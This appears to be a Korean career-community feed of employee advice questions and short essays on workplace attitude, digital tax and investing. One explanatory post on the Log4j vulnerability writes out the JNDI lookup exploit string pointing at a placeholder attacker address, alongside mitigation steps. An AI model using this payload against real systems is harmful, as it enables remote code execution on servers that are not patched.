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부서이동 / 새로운 도전 / 그냥 제 자리에
한 회사 20년이 다되어가네요 그간 여러 부서를 돌아다니며 회사 내 많은 업무를 맡았고 나름 성과도 냈다고 자부합니다 5년전 지금 부서에 오면서 개발팀을 새로 맡아 일을 더 많이 하게되면서 팀원도 많아졌습니다 3년전 새로운 팀을 또 합병하면서 팀원이 20명 까지 많아지더라고요 그러던 와중에도 다른 사업부 프로젝트도 지원하라고 하고 ... 그러던 중 2년전 이 팀이 쪼개지면서 전 4년전 병합했던 팀만 맡게되었습니다 문제는 여기서 부터인데 이팀이 속한 사업이 미래도 없고 돈도 못 버는부서였습니다 경쟁 업체 개발자들은 50명 우리 팀은 3명 나름 고군분투하며 신 상품도 개발해서 런칭도 했는데 영업도 되지 않아 완전 망한 한해가 되었네요 이제 드디어 제 고민거리를 문의합니다 이런 상황에 제가 퇴사라도 할거 같았는지 본부장님이 다른 부서로 가서 일해보라고 그래야 미래가 있다고 다른 본부장(실제 회사의 핵심 두뇌부서) 에게 저를 품어달라했다하네요 그 분도 저를 좋게 보고 오라고 하는 상황입니다 다들 옮기라는 말이 많은데 기존 팀원이나 동료들이 눈에 아른거리네요 그쪽으로 가면 일도 많은 반면 더 전문가가 기대되긴합니다 이런 고민 어떻게 처리하신분 있으신가요 .~~ (급하게 오타 가득하게 글을 올렸는데 답변 감사드립니다 오타 다시 수정했네요 ^^ 전 댓글 주신 분들의 조언을 참고하여 결정을 하였습니다 후속 결과 나중에 올리겠습니다 감사합니다)
ㅎㅎㅎㅎㅎ112
22년 02월 06일
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업무에 100% 노력을 기울이는 사람에 대해서 어떻게 생각하시나요?
군에 있었던 시절 아는 후배의 이야기입니다. 후배는 매일 피곤한 몸을 이끌고 출근 준비를 합니다. 아침 식사는 거르는 경우가 대부분이고 출근해서 이것저것 업무 준비를 합니다. 오전 내내 업무를 처리하고 점심시간에도 오로지 업무만 생각하고 오후에도 열심히 업무에 매진하고 저녁 식사도 회사에서 컵라면이나 김밥으로 때웁니다. 밤 9시~10시 정도가 되어서야 후배는 사무실의 불을 끄고 퇴근합니다. 집에 도착하면 씻고 잠들기 바쁩니다. 회식 자리가 아니면 언제나 야근을 했고 주위 동료들과 사적으로 만남을 가지는 일이 없었습니다. 후배의 직무 자체가 인사 분야라 상당히 포괄적이면서도 세심함을 놓쳐서는 안 되는 일입니다. 1년 내내 이런 삶을 살아가는 후배는 주변으로부터 정말 열심히 한다는 평을 듣고 있으며 저도 그렇게 보고 있었습니다. 언젠가 그 후배와 같이 야간 근무를 한 적이 있었습니다. 첫 근무였고 서로 좀 어색하긴 했지만, 이런저런 대화를 나누다가 어느 정도 마음이 열렸다 생각을 해서 조심스럽게 말을 건넸습니다. ‘왜 그렇게 100%의 노력을 다하는 거야?’ ‘전 아직도 부족하다고 생각하니까요.’ 이 후배는 진급을 앞두고 있었습니다. 아마 그래서 그렇게 열심히 했었나 봅니다. 술잔에 술을 100% 찰랑찰랑할 때까지 다 채우면 잔을 들기고 마시기도 불안한 법이지요. 저는 후배에게 진심 어린 조언을 해줬습니다. 다소 꼰대처럼 들릴 수 있었던 내용이지만 어쨌든 그 후배는 삶의 태도가 많이 변하게 되었고 언젠가부터는 얼굴도 웃음이 자주 보였고 뭔가 여유가 생겼다는 느낌을 받았습니다. 그 후배는 결국 진급을 하게 되었고 저에게 진심으로 고맙다고 말했습니다. 사람마다 경험도 다르고 생각은 다르니까 정답은 없습니다. 다만, 조금만 천천히 가면 나와 주변을 볼 수 있는 여유가 생기는 것처럼 내가 소속된 집단의 전체를 볼 수 있고 그 집단에 소속된 나를 볼 수 있는 ‘여유’ 정도는 있어야겠죠?
신정철 | 비오더블테크놀로지
22년 02월 06일
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BEPS2.0(Digital tax) Pillar 1 과세권 배분과 연계점
지난번 BEPS2.0 이라 새로운 명칭을 얻게 된 디지털세에 대한 간략한 내용을 말씀드렸습니다. https://app.rmbr.in/OnJDQr8xvnb 그리고 오늘은 BEPS 2.0의 두 가지 핵심 내용 중 'Pillar 1: 과세권 배분과 연계점'에 대해 말씀 드리려고 합니다. 사실 대한민국의 대다수의 기업은 당장 2023년 시행되는 BEPS2.0과 관련하여 Pillar 1보다는 Pillar 2에 더 관심이 있는 상황입니다. (그 이유는 아래 내용에서 확인 하실 수 있습니다.) 하지만 최초 OECD에서 디지털세가 논의되기 시작한 이유를 생각해보면 Pillar 1의 내용을 살펴 볼 필요성이 있지 않을까요? 간단하게 정리해보면, 'Pillar 1의 내용은 (1)글로벌 마켓(다국적 기업)에서 일정 금액 이상의 매출을 올리는 기업의 (2)통상적인 이익을 초과하는 이익은 (3)매출이 발생하는 국가에 (4)일정한 세금을 납부하도록 한다.'로 정리 될 수 있을 듯 합니다. Pillar 1에 따르면 이제는 고정사업장이 없는 매출 발생 국가에도 세금을 내도록 하는 '과세권 조정(배분)'이 이루어졌습니다. 다만, 이전 글에서 말씀 드렸던 것과 같이 대상이 '디지털 기업'에서 '글로벌 마켓(다국적 기업)에서 일정금액 이상의 매출을 올리는 기업'으로 변경되었습니다. 그래서 명칭도 BEPS 2.0이 되었죠. 새로운 세목(세금)이 생기면, (1) 누구에게 과세가 되는가? (2) 어떤 소득이 이익에 과세가 되는가? (3) 어디에 세금을 납부하는가? (4) 얼마의 세금을 납부할 것인가? 이런 4가지 중요한 포인트가 발생합니다. Pillar 1에서는 (1) 글로벌 마켓(다국적 기업)에서 일정금액 이상의 매출을 올리는 기업을 과세 대상으로 보고 있고, 이 때의 '일정한 금액'은 해당 기업의 연결매출액 기준 200억 유로 입니다. (2) 해당 기업의 이윤 중 10%를 초과하는 이윤에 대해 과세권을 배분한다. '글로벌 연결 매출액 200억 유로 이상인 다국적 기업 중 이익률이 10%를 초과하는 기업'이라고 정리가 되네요. 대상은 정해졌고, 그럼 위 다국적 기업의 초과이윤은 모든 매출 발생 국가에 과세권이 배분 될까요~? 그건 아닙니다. 과세 연계점이라는 개념으로(3) 해당 국가의 매출액이 100만 유로 이상인 국가들을 대상으로 초과이윤에 대한 과세권이 배분됩니다. (GDP가 400억 유로 이하인 국가의 경우 발생 매출액이 25만 유로 이상인 경우 배분 대상에 포함) 마지막으로 (4) 얼마의 세금을 납부해야 하는가는 초과 이윤에 대한 과세권을 배분 받았으므로, 각 국가의 세법 규정에 따라 과세가 된다고 이해하면 될 듯 합니다. Epilogue1. 200억 유로 이상의 연결 매출액에 10%이상의 이익률이 발생하는 다국적 기업이 많지는 않습니다. 대한민국 기준으로 2~3개 기업 정도라고 합니다. 그래서 Pillar 1에 대한 관심이 상대적으로 떨어지는 듯 합니다. 7년 뒤 연결매출액 기준을 '100억 유로 이상'으로 하향 조정할 계획이라고 하니 조정 후 대상 기업들도 지금부터 관심을 가지고 준비하는 것이 좋을 듯 합니다. Epilogue2. 한국 조세당국은 해외 납부 세금은 외납세액공제가 가능하므로 세부담 중립이라고 이야기하고 있습니다. 다만 '각 기업이 부담해야할 납세협력 비용을 고려했을 때도, 세부담 중립이니 기업에는 부담이 없다라는 결론이 맞는 것인가?' 하는 생각도 됩니다. Epilogue3. 해당 규정이 시행되는 2023년부턴 유럽, 인도 등 개별적으로 디지털기업에 대해 진행하고 있는 과세정책(일명 DST)은 일괄적으로 폐지하기로 한 것이 'NAVER, 카카오 등 국내 IT기업에는 조금의 도움이 될 수 있을지도?'라고 생각합니다. 미국계 기업들도 동일한 혜택(?)을 받겠지만요.
김현녕 | Smilegate
22년 02월 05일
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상사와의 갈등으로 고민입니다.
2년 경력의 사원이고 상사와의 갈등으로 인해 고민입니다. 원래는 사이가 나쁘지는 않았습니다만, 어떤 일을 계기로 사이가 틀어진 것 같은데요. 프로젝트 진행하면서 업무는 해오던대로 했고, 그거에 대해 문제를 삼은적은 없었습니다.(업무에 지장을 준 것도 아님) 그런데 갑자기 업무 관련해서 왜 이렇게 안하냐 말을 하시는겁니다. 미처 생각 못했던 부분이기도 하고 해서 개선하겠다고 했는데 그 이후로 사이가 안좋아졌습니다. 면담 요청해서 제 입장과, 지금까지 불만이었던 이야기들을 참고 참다가 최대한 기분나쁘지 않도록 얘기도 해봤지만, 자꾸 제 탓으로만 말을 하네요. 거기서 더 기분나빳던건 제가 노력도 안하고, 말도 안듣는 사람이 되어있다는 거에요. 지금까지 해낸 저의 성과는 노력이 아니게 된 느낌이랄까요. 그래도 상사니까 제가 참고 넘어가는게 맞을지... 제 선을 지키며 일만 잘 하면 될지 모르겠네요. 어떻게는 한개만 걸려라 라는 심보로 대하는게 느껴지거든요. 그리고 말을 할 때 자꾸 선을 넘는게 느껴집니다. 생각좀 쳐 하라는둥...그런식이에요. 그럴때마다 저는 참는 편이였구요. 사수한테도 얘기 해봤는데 사수도 상사를 별로 좋게 생각하는 것 같진 않더라구요. 사람을 바꿀 순 없으니 참으라고는 하는데 어떻게 사회생활 하는게 현명한걸까요?
킹만랩
22년 02월 05일
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30살 타직종 이직해야할까요.
안녕하세요. 올해 30인데. 고민이 있어 글올리게됐습니다. 살면서 크게 노력해본건 없었고, 시간이 흐르면서 그냥 흐름에따라 살다보니 설비유지,관리하는 교대근무 생활을 하고있습니다. 전문적인 일이라 업계가 좁아 건너건너면 아는사람들도있고 그럴텐데. 제 고민은 성격이 너무 맞지않는 직장상사와 같이 근무하면서 정신적으로 스트레스를 너무 많이받습니다. 남들이 봤을때는 별거아닐지도 모르겠지만 원래 자기일이 가장 힘들게 느껴지는법이죠.. 근데 문제는 업무특성상 예민한 사람들이 많이있어서 직장상사들이 예민한 사람이 많습니다. 별거아니라고생각했던 사소한 일에도 화를내고 그러다보니 정말 같은 직종으로 이직하더라도 또 이렇게 예민한 사람들만 있을거같고 그냥 이 직종의 일을 하고싶지않고 이쪽 사람들이랑 더이상 얼굴마주하고 이야기하거나 상대하고싶지가않아요. 거기다 이제 갓나온 둘째까지있어서 앞으로 돈을 계속 벌어야할텐데 돈이야 뭐 무슨일이든지 하면 벌수있겠죠 근데 와이프도 직장을 그만두는걸 걱정하고 부정적으로 생각합니다. 저같아도 잘다니던 직장 경력도 쌓였는데 버리고 다른일을 처음부터하자니 당장 쓸돈부터 걱정이되겠죠 저도 이해가됩니다. 근데 이 일이 너무 하기싫어요 사람들도 싫고 업무적으로 이야기를하려고해도 그냥 저를 찍어누르고 깔아뭉개려고하는걸로밖에 느껴지지않습니다. 하는일이 설비유지관리다보니 설비에 이상없으면 한없이 정적이고 육체적으로는 교대근무라는것만 피곤한데, 직장상사들이 너무 예민해서 정신적 스트레스가 큽니다. 사실 일이 힘들고 몸이 힘든게 낫다고 느껴요. 그래서 그만두고 택배배송일이라도 해볼까 생각이 듭니다. 택배일을 우습게 생각하는건 절대 아니고요. 사실 그냥 지금은 경력이고뭐고 버리고 그냥 돈만 맞출수있는 일이라도 하고싶어요 후 걱정, 고민이 많습니다. 그렇다고 직장상사와의 불편한점을 위에 얘기해봤자 저만 사회생활 못하는 놈으로 보이고 찍히기만 하겠죠 말이 길었는데 이직하는게 맞을까요? 지금은 제나이나 조건(가족)이 뭔가를 시작하기에 많이 버겁게 느껴지지만 시도조차안하고 화를 삭히면서 회사를 다니기엔 감정적으로나 육체적으로 병이 생길거같기도합니다.. 나중에 지나보면 사실 지금이 제일 젊을때이기도하고 말이죠... 여러분이라면 어떻게 하시겠나요?
밤고구마
22년 02월 05일
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다음주 입사인데 코로나 확진
지금 진짜 너무 황당하고 당황스러워서 어떻게 해야 할지 모르겠습니다. 당장 다음주가 회사 입사 첫날 인데 오늘 코로나 확진 판정 받았습니다. 명절에 코로나 무서워 본가도 안가고 물품 사러 주변 마트 들른게 전부 인데 진짜 미치겠습니다. 인사팀에 연락해서 말할 예정이기는 한데…. 신입이 입사하는 첫날 부터 코로나 확진으로 입사 연기 하면 입사가 취소 될까… 입사 취소가 되지 않더라도…인식이 좋지는 않을까 너무 걱정 됩니다….
샛병아리
22년 02월 04일
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루팡 생활 시작
기획쪽 포지션이고 5년차입니다 시리즈A되는 기업에 다니고 있습니다. 이회사 다닌지는 거의 2년이 되어가네요. 오늘 연봉협상을 했는데 회사생활은 한후로 최저 연봉인상률이네요 처음에 들어왔을때 대표는 스톡옵션 계약서 곧 준다고 하고 지금까지도 계약서 준비중이라고 합니다 제 직속 상사가 퇴사한 뒤 뜬금없이 엄마뻘 상명하복 영업팀장에 붙여줍니다. 발령같은건 없고 같이 일해보세요라고 통보합니다 사업팀에 그 팀장과 저 둘이서 너무나도 갈등이 많았습니다. 업무에 대한 논의는 없고 대표 보고회의를 위한 회의만 하고 이런 업무 할거다라고 기획하면 지가 가로챕니다 그분이 그래서 실력이 있냐. 2년동안 계약 한번도 못했고 영어 못하는데 본인이 해외사업개발할거라고 지사 보내달라고 합니다. 영어가능한 사람이 저밖에 없어서 저에게 메일 써달라고 합니다 저는 회사에서 신규 사업 런칭 두개맡고 있고 그분이 담당으로 표시되어있는건 없습니다 그런데 이번 인사때 역시나 실망스러운 결정을 하네요 그분은 이사가 되었고 저는 팀장이 못되었습니다. 납득이 안되는 연봉인상률은 회사가 너에 대한 기대는 없어, 다른 사람올때까지 땜빵만 부탁해라고 들립니다 앞으로 이직할때까지 회사에서 놀아보려고요,,
안해안해
22년 02월 04일
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화내면 지는 게임
제가 처음 사회생활을 할 때 이직하는 선배가 제게 해 준 말이 있었습니다. "일은 잘하고 못하고 할 수 있어. 근데 태도는 중요해. 자세를 보고 준단 말이야." 배움이 필요한 시기였기에 태도를 잘 유지해야 좋은 배움도 있고 좋은 업무도 있단 이야기를 하고 싶었던 선배의 눈에 저는 아직 혈기 왕성하고 감정 제어가 잘 안 되는 그런 후배였을 겁니다. 저 좋으라고 한 말이지만 선배의 꼰대 같은 말투가 아직도 생각날 만큼 그 조언은 좋게 들리지 않았습니다. 물론 그 뒤로도 저는 들이받고 티 내는 사람이었습니다. 보고 라인에 있는 상사와도 싸우고 기획을 하면서 연관 팀장님과도 모두가 알도록 큰 소리로 다투는 일화들을 만들어 냈었습니다. 당시 제게는 부조리한 것은 싸우는 것으로 해결한다는 태도가 있었습니다. 그래서 부당하다고 생각하면 표현을 그 자리에서 다투는 것으로 했던 것 같습니다. 그런데 사회생활을 할수록 '화내면 나만 좋지 않구나', '화를 내지 않고 할 말을 해야겠구나', '감정이 아닌 논리와 근거로만 추슬러야 한다'는 생각이 들었습니다. 사회생활은 대부분 화내면 지는 게임이기에 그렇습니다. 화를 내는 마음과 논리가 나쁜 게 아니라 그게 그저 화를 내서 나쁜 취급을 받는 게 사회생활에 빈번했습니다. 화만 내지 않으면 다음을 내가 모색할 수도 있는데 다만 화를 낸 장면이 누군가의 머릿속에 남아 있는 것만으로 발목을 잡기도 합니다. 고객 관계 우리는 누가 되었든 고객이 있습니다. 직접적인 소비자와 만날 수 있고 조직 내부에서 내 결과물을 통해 일을 하는 다른 팀이 내 고객이기도 합니다. 다른 회사에 협업하는 분이 고객이기도 하고 보고를 받는 분이 고객이기도 하죠. 나의 퍼포먼스가 누구에게 가치를 얼마큼 주는지에 따라 고객이 결정됩니다. 같은 말이라도 화를 내는 태도는 강한 방어 논리로 보입니다. 논리적이지 못하고 자신의 생각을 돌아보거나 한 번 더 수정할 여지가 없음을 보여주죠. 완강한 공급자입니다. 수요에 비해 차별화된 결과를 늘 제공하는 공급자라면 완강해도 어쩔 수 없이 관계를 유지하며 거래를 하지만 우리가 알듯 비슷하면 태도에서 거래선을 정리합니다. 어르고 달래는 방법이 결과적으로는 나쁜 방법이 아닙니다. 리더십 사회생활을 할수록 리더십에 대한 요구는 피하기 어려워집니다. 관리자가 아닌 전문적인 실무를 계속하고 있음에도 리더십을 요구받습니다. 누군가가 온보딩 하는데 도움을 주기도 해야 하고 사람과 과제를 연결하는 일도, 새로운 기술을 알고 그걸 조직에 리드해야 하는 역할을 누군가는 요구받게 됩니다. 그런데 이왕이면 긍정적이고 성장 경로가 예측 가능한 사람에게 리더십을 맡기는 경우가 많습니다. 계속 드러나고 있는 직장 내 갑질 문제처럼 아직 불같은 성격에 난폭하고 무례한 태도를 카리스마라 생각하는 사람이 없진 않지만 점점 사회는 변해가고 있습니다. 보이는 실력이 비슷하다면 조직에 함께 있는 분들이 편하게 기대할 수 있는 모습이 리더십의 새로운 기준이 되고 있습니다. 위로부터가 아닌, 아래로부터의 리더십인 것이죠. 더 이상 위는 리드할만한 유용한 경험과 새로운 기술을 갖고 있지 못한 경우가 많아지고 있으니까요. 화내고 뒤에 달래는 모습의 리더십이 설 수 있는 공간은 작아지고 있습니다. 교정적 피드백 리더십의 연장 선상에서 조직에 화를 내는 리더는 교정적 피드백을 할 수 없게 됩니다. 교정적 피드백은 누군가에게 같은 행동을 반복하지 않도록 수정할 것에 대한 구체적인 정보를 주고 바로잡는데 목적이 있습니다. 좋은 행동을 계속하도록 하는 지지적 피드백과는 다른 모습이죠. 하지만 교정적 피드백이 화를 내는 것은 아닙니다. 마치 아이의 행동을 바꾸려는 부모 출연 프로그램에서 말하는 것처럼 감정이 아닌 팩트에 의한 접근이기 때문이죠. 조직의 성장을 꾀해야 하는 상황에서 구체적인 방법을 드라이하게 제시하지 못하고 감정에 휘둘리면 가능성이 있는 원석의 동료는 회사를 떠날 것입니다. 이것은 화를 내는 자신에게도 적용할 수 있는 포인트인 것 같네요. 화를 내지 않는 가장 좋은 방법은 내 수준을 정확히 아는 데서 출발한다고 생각합니다. 업계에서 세상에서 나는 어떤 수준이고 무엇을 못하는지 정확히 알고 있다면 화가 날 이유가 별로 없다는 게 제가 얻은 결론이었습니다. 이 회사 안에서 여기 조직 안에서 내가 왕처럼 지내고 과거에 했던 것처럼 다 안다고 생각할 무렵 화내도 될 자신감이 붙습니다. 내가 회사고 내가 여기를 대표한다고 생각하면 다른 조직과 회사와 붙게 되기도 합니다. 겸손은 정확한 내 상황을 아는 것에서 출발합니다. 작년 한 해 많이 팔린 책 중 하나가 '기분이 태도가 되지 않게'였습니다. 책 제목처럼 어울려 살아갈 수밖에 없는 일반적 범위의 공급자인 모두에게 능력만큼, 그 이상으로 평판을 유지하는 방법은 안정적인 정서입니다. 화만 내지 않는다면 2022년은 보다 좋은 사회생활을 했다고 생각할 수도 있을 것입니다.
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22년 02월 04일
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[Tech] 사상최악의 보안 취약점, Log4j 취약점
안녕하세요. 오늘은 본연의 업무로 돌아와서, 보안과 관련된 글을 써보도록 하겠습니다. 2021년의 마지막을 떠들썩하게 장식하였던 Log4j 취약점에 대해 좀더 쉽게 알려드리고자 합니다. 우선, Log4j는 아파치 소프트웨어 재단이 개발한 'JAVA'기반의 오픈소스 프로그램으로 동작 도중 '로그'를 기록하는 목적으로 사용됩니다. JAVA와 관련된 로그를 쉽고 편리하게 관리하기 위한 프로그램이라고 생각하시면 되겠습니다. 많은 기업들이 JAVA로 개발된 홈페이지와 같은 인터넷 서비스를 운영, 관리하면서 기록을 남기기위해 사용하고 있습니다. ※ 'JAVA' : 썬 마이크로시스템즈연구원들에 의해 처음 개발된 인터넷 환경에서 가장 활발히 사용되는 프로그래밍 언어. '로그' : 시스템, 서비스 등의 동작 상태를 남긴 기록. Log4j 취약점은 중국 Alibaba Cloud 보안팀에 의해서 21년 11월 경 Apache에 공식 보고가 되었으며, 대표적으로는 유명세를 갖고 있는 온라인 게임 마인크래프트에서 프로그래밍 코드로 이뤄진 '특정 채팅 메시지'를 입력하면 원격으로 프로그램을 실행할 수 있는 문제점이 실제 확인되었습니다. Log4j 취약점을 이용한 공격은 쉬운 반면 결과는 치명적이기 때문에 Log4j를 사용하는 많은 기업들이 피해를 입을 수 있어서 고위험 등급의 취약점으로 분류되었습니다. ※ '특정 채팅 메시지' : ${jndi:ldap://공격자의 주소} 외부에서의 메시지 입력만으로도 내 시스템의 권한을 빼앗길 수 있고, 타인이 인증없이 손쉽게 내 시스템에 침투할 수 있는 취약점이다보니 공개된 이후 발빠르게 조치하기위해서 정보보안분야의 많은 전문가 분들께서 불철주야 고생이 많으셨으리라 짐작됩니다. Log4j 중에서도 2.0 버전부터 취약점이 발견되어 완벽한 조치를 위해서는 해당 프로그램을 아예 삭제하여 쓰지않는 것이 제일 좋지만 이미 폭넓게 사용중이다보니 서비스를 유지하기 위해서 취약점이 조치된 최신버전으로 업그레이드를 하는 방법이 권장되었습니다. 이밖에도 'JndiLookup 클래스를 경로에서 제거'하거나 '환경변수 설정변경'하는 방법으로 긴급조치가 진행되었습니다. ※ 'JndiLookup 클래스를 경로에서 제거' : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class '환경변수 설정변경' : Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수 true 설정 발빠른 정보보안분야의 전문가 분들의 노고로 “최근 10년간 가장 치명적이고 거대한 취약점이다. 현대 컴퓨터 역사를 통틀어 최악의 보안 결함일 수도 있다”라는 이야기가 있던 Log4j 취약점에 대해 많은 분들께서 알아차리시기도 전에 신속하게 조치가 되었지만, 이와 유사한 취약점은 지금도 끊임없이 등장하고 이를 이용한 공격은 지속적으로 계속될 것이기 때문에 간단하게나마 알아두시고 경각심을 가지시길 바라는 마음으로 Log4j 취약점에 대한 글을 쓰게 되었습니다. 근처에서 고생하고 계시는 보안담당자분들이 계시다면 가볍게 격려의 한마디라도 부탁드립니다. 감사합니다. [취약점] o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVE-2021-45046) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 1.2에서 발생하는 원격코드 실행 취약점(CVE-2021-4104) - Apache Log4j 1.2는 2015년 8월에 종료 - 취약점이 조치된 최신버전 사용권고 - JMSAppender 미사용 권고 [참고사이트] [1] apache 보안업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html [2] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 [3] 신규버전 다운로드 : https://logging.apache.org/log4j/2.x/download.html [4] 제조사별 현황 : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 [5] 탐지정책 : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules [6] 취약점 대응 가이드 : https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390 [7] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 [8] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104 [9] Log4j 2.12.2버전 다운로드 : https://archive.apache.org/dist/logging/log4j/2.12.2/
김정희 | LINE Plus Corp.
22년 02월 04일
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한달치급여더줘야하나요?
저희관리팀장얘기인데요 매일 매일 거의한달내내지각을해서 직원들의 불만이 많았어요 관리팀장이 하루는 당일 연차쓴다며 당일 결근 하루는 전화도 안받고 아예 결근을 해버리고 근데 시말서 같을걸 안받았답니다.ㅜㅜ 안그러겠지 앞으로 이런일 있음 본인이 퇴사하겠다며 죄송하다 하여 넘어 갔는데 급여날 ot계산을 하는데문제가생겼어요 사장님께 출근결의표를 드렸는데 지각한날짜로 다 정시간출근날짜로 거짓으로 써놓고 결근한날도 ㅋ 출근한걸로 써놓고 그래서 저희사장님이 왜 이렇게 써놨냐고했더니 명백히 다 직원들도 다아는데 본인이 지각한적없다며 우기는거예요사장님께 그래서 다시한번 정확히 얘기하라구 기회를 주었는데도 지각한적없다해서 저희사장님이 화가나셔서 기만한다며 소리를지르고 호통을 치셨더니 짐을 쌓고 나갔어요 그팀장이 바로 퇴사함 회사에도 인수인계도 안돼 일에 지장이 있죠 그런데 본인이 안나와놓고 한달치 급여는 언제 줄꺼냐며 ㅜㅜㅜ 말이 안통해 노동부에 신고하라해써요 본인잘못은 하나도 기억을 못해요 기억력이 없는건지 인정을 하기싨은 건지 말이 안통해요 사장님이 소리지른건만 갖고 더이상 못나오겠다고 본인 근태상태에 심각성은 본인하고 상관없나봐요 이럴때는 보통 어떻게 처리하나요? 객관적 통상적으로 의견듣고싶습니다
이워리
22년 02월 04일
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영어회의 이해도 높이기 위한 방법 문의
외국계회사 근무하고 있습니다. 3년차이고, 이 회사의 제품, 관련 메뉴얼, 이메일 모든 일은 영어로 하고, 한국에서 소수의 인원이 있어서 이분들과 소통만 한국어로 합니다. 그런데 입사면접시 영어를 원어민처럼은 요구하지 않으셔서 입사는 했는데, 모든 영어로 하는 줌회의시 이해도가 떨어지는 것 같아서 많은 지장을 받고 있습니다. 모든 회의가 영어를 모국어처럼하는 직원들이 많다보니 말도 빠르고 농담많이 하고 못알아듣는 부분들이 있어서 정체된 저의 영어로는 일을 몇번씩 확인하고 진행해야합니다(회의 내용을 제대로 알아들었는지 반복확인 등) 이런 비슷한 경우에 도움되는 영어공부 방법이나 교재 등 있으시면 추천좀 해주세요. 현재는 이직 계획도 더는 없어서 이 부분을 해결해야 업무효율이 좀 오를것 같네요. 조언 부탁드려요
켈만
22년 02월 04일
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[직장심서 6탄] 직장생활에서 무조건 피해야하는 사람 Top3 😅
직장 생활의 90%는 인간관계라고 해도 과언이 아닐까 싶은데요. 자신의 능력보다는 그걸 알아봐주고 인정해주는 사람을 잘 만나야 성장도 하고 승진도 할 수 있지만, 반대로 아무리 뛰어난 능력이나 최선을 다하는 열정을 쏟아 부어도 알아봐주는 사람이 없다면 그저 쓸모없는 잡기술이 되는 것이죠. 그래서 법정스님께서도 이런 말씀을 자주 해주셨지 않을까 생각해봅니다. “진정한 인연과 스쳐가는 인연은 구분해서 인연을 맺어야 한다. 진정한 인연이라면 최선을 다해서 좋은 인연을 맺도록 노력하고, 스쳐가는 인연이라면 무심코 지나쳐 버려야한다. 그것을 구분하지 못하고 만나는 모든 사람들과 헤프게 인연을 맺어 놓으면 쓸만한 인연을 만나지 못하는 대신에 어설픈 인연만 만나게 되어 그들에 의해 삶이 침해되는 고통을 받아야한다.” 제가 사회생활을 하면서 꼭 피해야 한다고 생각하는 유형은 3가지 타입의 사람들인데요. 물론 저는 해당이 안되거나 뭐 착하다는 말씀은 아니니 착각이나 지레짐작은 사양합니다 😅 첫째, 자신만을 위하는 자기 몫이나 자신의 이득만을 챙기는 ‘나뿐인 사람’을 멀리 하셔야 합니다. ‘나쁜’의 어원은 ‘나뿐’인데요. 나만 아는 사람, 나 밖에 없는 사람은 피하셔야 합니다. 이들은 절대로 나누지 않는 사람들이니까요. 그게 정보이든 노하우이든 몫이든, 나뿐인 사람들은 절대 나눠주지 않거든요. 둘째, 당신을 시기 질투하면서 사사건건 트집을 잡고 뒷담화를 하는, 투덜이 스머프는 절대로 멀리 하셔야 합니다. 이들은 항상 빨간 색안경을 끼고 있기에 당신이 무엇을 하든 어떤 노력을 하든지간에 일단 비난부터 늘어 놓습니다. 웃는 게 마음에 안든다. 분위기 파악 못한다. 야근을 해도 지만 잘 난줄 안다고 하면서 손가락질 합니다. 왜냐하면 경쟁 상대를 시기 질투하는 마음에 눈이 멀었기 때문에 지금은 무조건 잡아끌어서 떨어트려야 하기 때문입니다. 무조건 피하세요. 곁도 주지 마세요. 그래도 욕하고 뒷담화 하겠지만, 그래도 *은 더러워서 당신도 더럽혀지니 피하셔야 합니다. 마지막으로는 성실하지 않은 사람들입니다. 성실(誠實, sincerity)은 ‘정성스럽고 참됨’을 의미하는데요. 말과 행동이 일치하며 무슨 일이든 정직하고 꾸준한 사람을 가리키는 말입니다. 약속이나 말한 것을 쉽게 어기는 사람, 프로젝트 납기일을 못 마주치는 사람, 남탓과 핑계가 입에 벤 사람. 이런 사람들은 당신에게도 성실하지 않을 테니까요. 현란한 미사어구로 거짓과 변명으로 현혹할 테니까요. 반대로 어떤 사람을 꼭 곁에 두어야 하냐면요. 좋은 사람을 두시면 좋을 것 같은데요. ‘좋은’의 어원은 ‘주는’인데요. 당신에게 무엇이든 주는 사람을 곁에 두세요. 그게 정보이든 노하우이든 인정이든 관심이든, 당신에게 무엇이든 주는 좋은 사람을 곁에 두세요. 그럴려면 당신부터 무엇이든 주는 ‘좋은 사람’이 되어야 하겠지만은요. 왜냐하면 당신이 먼저 좋은 사람이 되어야 좋은 사람이 오는 법이니까요. 유유상종처럼요 😊 금요일입니다. 주변 동료들과 커피 한잔 나누시면서, 나는 ‘주는’ 사람인지? ‘나뿐’ 사람인지 생각해보시면 좋겠습니다. 주말, 가족 연인에게도 사랑과 관심 칭찬 그리고 무엇이든 먼저 주는 좋은 사람이 되시길 기도해봅니다 🙏 ​
김명곤 | 코웨이라이프솔루션
22년 02월 04일
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금리인상기의 투자상품
핸드폰 속 증권사HTS를 자주 보시나요? 저는 자다 깨면 들여다보고, 아침에 눈뜨면 제일 먼저 본답니다. 연휴가 끝나는 어제 아침에는 미국 기술주 등 살짝 반등이 나와서 다행이다~라고 하면서 출근했는데, 이 글을 쓰는 아침에는 미국 주식 뿐 아니라 유럽 등 해외 지수들이 모두 하락이네요. 매일아침 일희일비 하지 말아야지 하는 마음을 먹지만, 그래도 늘 그게 잘 안되지요. 투자 자산상품 이야기를 하자면 주식으로 시작해서 주식으로 끝나는 경우가 많습니다. 특히 코로나19로 야기된 비대면 경제 환경에서 IT와 관련된 성장주식들의 눈부신 성과는 그 누구도 부인할 수 없기에 말입니다. 하지만 올해 1월 들어 조정 받는 주식을 보면서 조금은 달라진 투자환경을 인식할 필요가 있습니다. 여러 가지 이유가 있지만 저는 금리인상으로 인한 시장의 조정에 초점을 맞추어, 투자 상품을 어디에 투자하면 좋을지 정리해보았습니다. 금리인상이 야기할 것은 성장주식의 조정일 것입니다. 메타버스,엔비디아, 구글, 테슬라 등 의 주식들은 미래의 꿈으로 벌어들일 수 있는 기대이익까지 지금이 가치로 할인하여 주가에 형성되어 있습니다. 물론 그것이 단번에 무너지지는 않겠지만, 금리 인상이 지속 된다면 작년 같은 수익을 